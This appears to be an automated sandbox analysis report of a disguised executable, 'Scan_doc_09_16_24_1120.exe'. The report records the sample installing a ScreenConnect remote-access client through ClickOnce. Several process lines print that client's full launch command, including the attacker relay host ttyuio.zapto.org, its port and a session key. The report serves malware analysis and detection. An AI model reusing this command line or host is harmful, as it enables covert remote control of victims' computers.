Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfToken
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: qmgr.db.6.dr String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://signup.live.com/signup.aspx
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown HTTPS traffic detected: 178.215.236.119:443 -> 192.168.2.5:49705 version: TLS 1.2
Drops certificate files (DER)
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141 Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1 Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands
barindex
Reads the Security eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Reads the System eventlog
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\ScreenConnect
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary
barindex
Initial sample is a PE file and has a suspicious name
Source: initial sample Static PE information: Filename: Scan_doc_09_16_24_1120.exe
Creates files inside the system directory
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\user.config
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
Detected potential crypto function
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_0083A495 0_2_0083A495
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F1AF4F 1_2_00007FF848F1AF4F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F3B1ED 1_2_00007FF848F3B1ED
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F233A1 1_2_00007FF848F233A1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F2D599 1_2_00007FF848F2D599
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F22748 1_2_00007FF848F22748
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F1FA11 1_2_00007FF848F1FA11
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F11211 1_2_00007FF848F11211
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F16138 1_2_00007FF848F16138
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Code function: 1_2_00007FF848F32860 1_2_00007FF848F32860
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF848F470BA 13_2_00007FF848F470BA
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF848F410CF 13_2_00007FF848F410CF
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF848F410D7 13_2_00007FF848F410D7
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849255BB1 13_2_00007FF849255BB1
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF849255DC4 13_2_00007FF849255DC4
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 13_2_00007FF8492567F9 13_2_00007FF8492567F9
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF848F310CF 15_2_00007FF848F310CF
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF848F310D7 15_2_00007FF848F310D7
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF849247138 15_2_00007FF849247138
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF84924F4A2 15_2_00007FF84924F4A2
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF84924E6F6 15_2_00007FF84924E6F6
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF8492528D9 15_2_00007FF8492528D9
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Code function: 15_2_00007FF849245F61 15_2_00007FF849245F61
One or more processes crash
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5572 -ip 5572
Uses 32bit PE files
Source: Scan_doc_09_16_24_1120.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe.1.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, PopoutPanelTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, ProgramTaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.WindowsBackstageShell.exe0.1.dr, TaskbarButton.cs Task registration methods: 'CreateDefaultDropDown'
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: ScreenConnect.Windows.dll.1.dr, WindowsExtensions.cs Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: ScreenConnect.ClientService.dll.1.dr, WindowsLocalUserExtensions.cs Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: classification engine Classification label: mal66.evad.winEXE@21/78@2/2
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Code function: 0_2_00831000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree, 0_2_00831000
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Deployment Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5572
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Mutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe File created: C:\Users\user\AppData\Local\Temp\Deployment Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Command line argument: dfshim 0_2_00831000
Source: Scan_doc_09_16_24_1120.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Scan_doc_09_16_24_1120.exe Virustotal: Detection: 13%
Source: Scan_doc_09_16_24_1120.exe ReversingLabs: Detection: 18%
Source: unknown Process created: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe "C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe"
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5572 -ip 5572
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5572 -s 684
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: unknown Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe" "RunRole" "1714a821-0bba-4f94-9027-e5dd47ba7bd8" "User"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe" "RunRole" "be4104e4-6414-4af7-ae9c-6dc20c5434ce" "System"
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe" Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 5572 -ip 5572 Jump to behavior
Source: C:\Windows\System32\svchost.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5572 -s 684 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=ttyuio.zapto.org&p=8041&s=73549b67-726b-470e-ab1a-fbbb83a6a15b&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Untitled%20Session" "1" Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe" "RunRole" "1714a821-0bba-4f94-9027-e5dd47ba7bd8" "User"
Source: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.ClientService.exe Process created: C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe "C:\Users\user\AppData\Local\Apps\2.0\Q57RWJAZ.OGC\QE1VAW8H.R8N\scre..tion_25b0fbb6ef7eb094_0018.0002_41099df9c1cd11bc\ScreenConnect.WindowsClient.exe" "RunRole" "be4104e4-6414-4af7-ae9c-6dc20c5434ce" "System"
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\Scan_doc_09_16_24_1120.exe Section loaded: mscoree.dll Jump to behavior
